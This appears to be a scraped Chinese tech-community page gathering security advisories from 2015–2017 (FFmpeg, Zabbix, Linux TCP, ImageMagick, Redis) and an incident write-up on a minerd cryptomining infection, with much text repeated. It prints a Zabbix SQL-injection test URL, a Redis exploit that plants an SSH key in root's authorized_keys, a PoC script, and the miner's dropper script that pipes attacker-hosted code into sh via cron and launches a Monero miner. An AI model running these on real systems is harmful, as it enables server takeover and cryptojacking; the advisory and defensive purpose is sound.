一、FFMpeg缓冲区溢出高危漏洞安全预警


FFMpeg发布新版本,修复了之前版本存在的高危漏洞,请您及时修补。
 
影响范围:
FFMpeg <=3.1.1,且使用了swf解析模块。
 
修复方案:
升级到版本FFMpeg 3.1.2
 
漏洞详情:
FFMpeg在解码swf文件时存在一个缓冲区溢出高危漏洞(CVE-2016-6671)。漏洞主要存在于在对swf文件进行raw解码时,计算解码后的数据大小存在错误,导致写入数据的大小超过申请内存空间的大小,造成缓冲区内存溢出。该漏洞在一定条件下能导致任意代码执行。
 
参考:http://seclists.org/oss-sec/2016/q3/271
 


二、zabbix的SQL注入高危漏洞


近日,zabbix被爆出两个高危SQL注入漏洞,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。
 
影响范围
攻击成本:低
危害程度:高
是否登陆:不需要
影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)
 
漏洞测试:
在zabbix的访问地址后面加上如下url:
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1
输出结果,出现如下图黄色关键字表示漏洞存在:
zabbix_bug.png

 
补充:
  • 以上为仅为漏洞验证测试方式。
  • 攻击者可以通过进一步构造语句进行错误型sql注射,无需获取和破解加密的管理员密码。
  • 有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid,替换cookie直接以管理员身份登陆。

 
修复方案:升级到最新版吧,据说3.0.4版本已经修补,但是我发现并没有,所以如果你是nginx,可以在server段加下面试试,然后打开日志,看看有没有误判,这是临时暴力解决方案
       if ($request_uri ~ ^(.+\.php)(.*)$) {
set $req $2;
}
if ($req ~* "union[+|(%20)]") {
return 503;
}
if ($req ~* "and[+|(%20)]") {
return 503;
}
if ($req ~* "select[+|(%20)]") {
return 503;
}

 漏洞详情:
zabbix jsrpc.php的profileIdx2参数和latest.php的toggle_ids参数均存在SQL注入,属于高危漏洞。在开启Guest或者无用户的情况下不需要登录即可实现注入(默认开启Guest,且Guest默认密码为空);未开启Guest和有用户的情况下则需要鉴权通过方可实现注入。攻击者可以完全获取数据库中信息,获取管理员身份,甚至控制服务器权限。更多详情见:http://seclists.org/fulldisclosure/2016/Aug/82

Tcp信道远程劫持漏洞安全预警

开源技术Geek小A 发表了文章 • 0 个评论 • 286 次浏览 • 2016-08-16 21:26 • 来自相关话题

近日研究者发现Linux内核存在Tcp协议安全漏洞(CVE-2016-5696) ,可导致网络流量被劫持。

漏洞详情​

TCP通信的安全加强标准RFC5961的实施存在一些弱点,导致Linux内核的TCP实现中的挑战应答存在信息泄露的风险。该漏洞采用边信道攻击方案,可以确认互联网上的任意两台主机是否通过TCP连接进行通讯(并发现端口号),以及推测出TCP报文头的序列号(sequence number),这样一来就能强制终止双方的连接,甚至在连接中插入恶意payload了。如果漏洞被恶意利用,攻击者能够劫持未加密的网络流量,破坏一些加密通信。但是攻击者需要知道服务器和客户端双方TCP通信的源IP地址、目标IP地址、源端口、目标端口,还需要猜测出处于in-window的TCP序列号,才能对连接进行重置或者注入恶意数据。Linux 内核版本3.6-4.7受到该漏洞的影响。
 

影响对象

Linux 内核版本3.6-4.7:
CentOS和Red Hat版本6、7受影响Ubuntu 12.04 (LTS)、14.04 (LTS)、16.04 (LTS)受影响; Debian7、8受影响
 

防御方法

采用sysctl将挑战应答极限值提高到较大范围,使得攻击者不能合理地达到它,因此不能推断出客户服务器连接的任何附加数据,以此达到防御目的。
 
1、设置 /etc/sysctl.conf 中的net.ipv4.tcp_challenge_ack_limit 到一个较大的值(如999999999):
net.ipv4.tcp_challenge_ack_limit = 9999999992、加载设置
sysctl -p参考:

http://www.cs.ucr.edu/~zhiyunq/pub/sec16_TCP_pure_offpath.pdf 

https://access.redhat.com/security/cve/cve-2016-5696 

https://blogs.akamai.com/2016/08/vulnerability-in-the-linux-kernels-tcp-stack-implementation.html 

https://bobcares.com/blog/fix-linux-off-path-tcp-attacks-cve-2016-5696 查看全部
近日研究者发现Linux内核存在Tcp协议安全漏洞(CVE-2016-5696) ,可导致网络流量被劫持。


漏洞详情​


TCP通信的安全加强标准RFC5961的实施存在一些弱点,导致Linux内核的TCP实现中的挑战应答存在信息泄露的风险。该漏洞采用边信道攻击方案,可以确认互联网上的任意两台主机是否通过TCP连接进行通讯(并发现端口号),以及推测出TCP报文头的序列号(sequence number),这样一来就能强制终止双方的连接,甚至在连接中插入恶意payload了。如果漏洞被恶意利用,攻击者能够劫持未加密的网络流量,破坏一些加密通信。
但是攻击者需要知道服务器和客户端双方TCP通信的源IP地址、目标IP地址、源端口、目标端口,还需要猜测出处于in-window的TCP序列号,才能对连接进行重置或者注入恶意数据。
Linux 内核版本3.6-4.7受到该漏洞的影响。
 


影响对象


Linux 内核版本3.6-4.7:
  • CentOS和Red Hat版本6、7受影响
  • Ubuntu 12.04 (LTS)、14.04 (LTS)、16.04 (LTS)受影响;
  •  Debian7、8受影响

 


防御方法


采用sysctl将挑战应答极限值提高到较大范围,使得攻击者不能合理地达到它,因此不能推断出客户服务器连接的任何附加数据,以此达到防御目的。
 
1、设置 /etc/sysctl.conf 中的net.ipv4.tcp_challenge_ack_limit 到一个较大的值(如999999999):
net.ipv4.tcp_challenge_ack_limit = 999999999
2、加载设置
sysctl -p
参考:


http://www.cs.ucr.edu/~zhiyunq/pub/sec16_TCP_pure_offpath.pdf 

https://access.redhat.com/security/cve/cve-2016-5696 

https://blogs.akamai.com/2016/08/vulnerability-in-the-linux-kernels-tcp-stack-implementation.html 

https://bobcares.com/blog/fix-linux-off-path-tcp-attacks-cve-2016-5696


ImageMagick高危漏洞安全

开源技术Geek小A 发表了文章 • 0 个评论 • 392 次浏览 • 2016-05-24 10:18 • 来自相关话题

广泛使用的图像处理软件ImageMagick今日被爆出一个高危漏洞(CVE-2016-3714),攻击者可以通过上传恶意图片文件的方式利用该漏洞,在服务器执行任意代码,完全控制目标服务器。目前已知有Wordpress,Discuz!等知名应用受影响。
影响范围: 
ImageMagick <= 6.9.3-9
漏洞修复: 
    官网下载最新版本的ImageMagick并在本地安装。下载地址 查看全部

广泛使用的图像处理软件ImageMagick今日被爆出一个高危漏洞(CVE-2016-3714),攻击者可以通过上传恶意图片文件的方式利用该漏洞,在服务器执行任意代码,完全控制目标服务器。目前已知有Wordpress,Discuz!等知名应用受影响。
影响范围: 
ImageMagick <= 6.9.3-9
漏洞修复: 
    官网下载最新版本的ImageMagick并在本地安装。下载地址

FFmpeg 2.x 远程文件读取漏洞

开源技术Rock 发表了文章 • 0 个评论 • 464 次浏览 • 2016-05-11 00:14 • 来自相关话题

漏洞描述:
FFmpeg 2.x是一款多媒体编码、解码框架,近日爆出高危漏洞可远程窃取本地文件,漏洞编号:CVE-2016-1897、CVE-2016-1898。 此漏洞允许攻击者通过上传构造的hls切片索引文件,远程窃取服务器端本地文件。
 
影响范围:
FFmpeg 2.8.x系列小于2.8.5;
FFmpeg 2.7.x系列小于2.7.5;
FFmpeg 2.6.x系列小于2.6.7;
FFmpeg 2.5.x系列小于2.5.10。
 
漏洞修复:
升级FFmpeg至最新版本:
FFmpeg 2.8.x系列升级至2.8.5或以上;
FFmpeg 2.7.x系列升级至2.7.5或以上;
FFmpeg 2.6.x系列升级至2.6.7或以上;
FFmpeg 2.5.x系列升级至2.5.10或以上。 查看全部
漏洞描述:
FFmpeg 2.x是一款多媒体编码、解码框架,近日爆出高危漏洞可远程窃取本地文件,漏洞编号:CVE-2016-1897、CVE-2016-1898。 此漏洞允许攻击者通过上传构造的hls切片索引文件,远程窃取服务器端本地文件。
 
影响范围:
FFmpeg 2.8.x系列小于2.8.5;
FFmpeg 2.7.x系列小于2.7.5;
FFmpeg 2.6.x系列小于2.6.7;
FFmpeg 2.5.x系列小于2.5.10。
 
漏洞修复:
升级FFmpeg至最新版本:
FFmpeg 2.8.x系列升级至2.8.5或以上;
FFmpeg 2.7.x系列升级至2.7.5或以上;
FFmpeg 2.6.x系列升级至2.6.7或以上;
FFmpeg 2.5.x系列升级至2.5.10或以上。

Redis风险安全公告

数据库OpenSkill 发表了文章 • 0 个评论 • 666 次浏览 • 2015-12-04 19:53 • 来自相关话题

今天接到ucloud的安全公告信息,内容如下,分享给大家:近日爆出针对Redis的新型攻击手法,Redis用户可能因为配置不当,被攻击者恶意利用导致被清空Redis数据或者获取到系统控制权限。对于自建Redis服务、如使用默认端口、没有启用认证而且对公网开放的服务器均受该漏洞影响。

修复方案

1、监听指定接口修改redis.conf配置,例如只监听127.0.0.1:

bind 127.0.0.1
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效。2、启用认证在requirepass字段后面配置强口令,例如:

requirepass H9j#udw*1FL
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效,同时修改客户端程序,需要使用该口令才可以访问。3、关闭config命令
如果不需要在运行过程中通过CONFIG命令修改配置,可以关闭该功能,有两种方式:
1)把CONFIG重命名为其它的名字,这样攻击者很难猜测到该名字,方法如下:rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52 2)直接关闭CONFIG命令,方法如下:rename-command CONFIG ""修改完配置后需要重启才能生效。
 
4、使用普通账户运行redis服务使用普通用户运行redis,并关闭该账号系统登录权限,可以减少漏洞影响,但是攻击者还是可以通过运行命令删除redis数据。5、配置访问控制策略如果redis必须对公网提供服务,可以通过通过防火墙限制指定的IP才可以访问redis服务。http://openskill.cn   开源技术社区分享阅读
只做技术的分享,欢迎订阅微信公众号: 查看全部
今天接到ucloud的安全公告信息,内容如下,分享给大家:
近日爆出针对Redis的新型攻击手法,Redis用户可能因为配置不当,被攻击者恶意利用导致被清空Redis数据或者获取到系统控制权限。
对于自建Redis服务、如使用默认端口、没有启用认证而且对公网开放的服务器均受该漏洞影响。


修复方案


1、监听指定接口
修改redis.conf配置,例如只监听127.0.0.1:

bind 127.0.0.1
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效。
2、启用认证
在requirepass字段后面配置强口令,例如:

requirepass H9j#udw*1FL
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效,同时修改客户端程序,需要使用该口令才可以访问。
3、关闭config命令
如果不需要在运行过程中通过CONFIG命令修改配置,可以关闭该功能,有两种方式:
1)把CONFIG重命名为其它的名字,这样攻击者很难猜测到该名字,方法如下:
rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
 2)直接关闭CONFIG命令,方法如下:
rename-command CONFIG ""
修改完配置后需要重启才能生效。
 
4、使用普通账户运行redis服务
使用普通用户运行redis,并关闭该账号系统登录权限,可以减少漏洞影响,但是攻击者还是可以通过运行命令删除redis数据。
5、配置访问控制策略
如果redis必须对公网提供服务,可以通过通过防火墙限制指定的IP才可以访问redis服务。
http://openskill.cn   开源技术社区分享阅读
只做技术的分享,欢迎订阅微信公众号:
openskill.gif

qqun.png

Redis 未授权访问缺陷可轻易导致系统被黑

数据库OpenSkill 发表了文章 • 0 个评论 • 575 次浏览 • 2015-12-03 20:08 • 来自相关话题

漏洞概要

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞详情

漏洞概述Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。漏洞描述Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。
 Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。漏洞影响Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。


通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。





根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。

1.1. 漏洞分析与利用
首先在本地生产公私钥文件:$ssh-keygen –t rsa



然后将公钥写入foo.txt文件$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt再连接Redis写入文件$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK



这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:$ ssh –i id_rsa root@192.168.1.11即可远程利用自己的私钥登录该服务器。
 
当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。

Redis 未授权的其他危害与利用

数据库数据泄露Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等



代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下




一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。
敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫




可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。









漏洞 PoC

#!/usr/bin/env python
# -[i]- coding:utf-8 -[/i]-

import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
vulID = '89339'
version = '1'
author = ['Anonymous']
vulDate = '2015-10-26'
createDate = '2015-10-26'
updateDate = '2015-10-26'
references = ['http://sebug.net/vuldb/ssvid-89339']
name = 'Redis 未授权访问 PoC'
appPowerLink = 'http://redis.io/'
appName = 'Redis'
appVersion = 'All'
vulType = 'Unauthorized access'
desc = '''
redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
'''
samples = ['']

def _verify(self):
result = {}
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and 'redis_version' in recvdata:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Port'] = port
except:
pass
s.close()
return self.parse_attack(result)

def _attack(self):
return self._verify()

def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output

register(TestPOC)




分享阅读原文:https://www.sebug.net/vuldb/ssvid-89715 查看全部
redisbug1.png


漏洞概要


Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。


漏洞详情


漏洞概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞描述
Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。
 
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 
利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞影响
Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。


通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。
redisbug2.png


根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。


1.1. 漏洞分析与利用
首先在本地生产公私钥文件:
$ssh-keygen –t rsa

redisbug3.png
然后将公钥写入foo.txt文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
再连接Redis写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
redisbug4.png

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:
$ ssh –i  id_rsa root@192.168.1.11
即可远程利用自己的私钥登录该服务器。
 
当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。


Redis 未授权的其他危害与利用


数据库数据泄露
Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等 
redis5.png

代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下
redisbug5.png

一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。
敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
redisbug6.png

可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。
redisbug7.png

redisbug8.png


漏洞 PoC


#!/usr/bin/env python
# -[i]- coding:utf-8 -[/i]-

import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
vulID = '89339'
version = '1'
author = ['Anonymous']
vulDate = '2015-10-26'
createDate = '2015-10-26'
updateDate = '2015-10-26'
references = ['http://sebug.net/vuldb/ssvid-89339']
name = 'Redis 未授权访问 PoC'
appPowerLink = 'http://redis.io/'
appName = 'Redis'
appVersion = 'All'
vulType = 'Unauthorized access'
desc = '''
redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
'''
samples = ['']

def _verify(self):
result = {}
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and 'redis_version' in recvdata:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Port'] = port
except:
pass
s.close()
return self.parse_attack(result)

def _attack(self):
return self._verify()

def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output

register(TestPOC)
redisbug9.png


分享阅读原文:https://www.sebug.net/vuldb/ssvid-89715


挖矿程序minerd入侵分析和解决

互联网资讯koyo 发表了文章 • 0 个评论 • 207 次浏览 • 2017-01-11 18:08 • 来自相关话题

发现问题

最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:




让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:




这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。




本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;




既然没用我继续google,在stackexchange找到如下解决方案:




各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。

商业模式

被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。

攻击&防御

植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。 查看全部


发现问题


最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:
UseCpu.png

让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:
minerd.png

这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。
wbug.png

本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;
crontab.png

既然没用我继续google,在stackexchange找到如下解决方案:
stackerror.png

各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
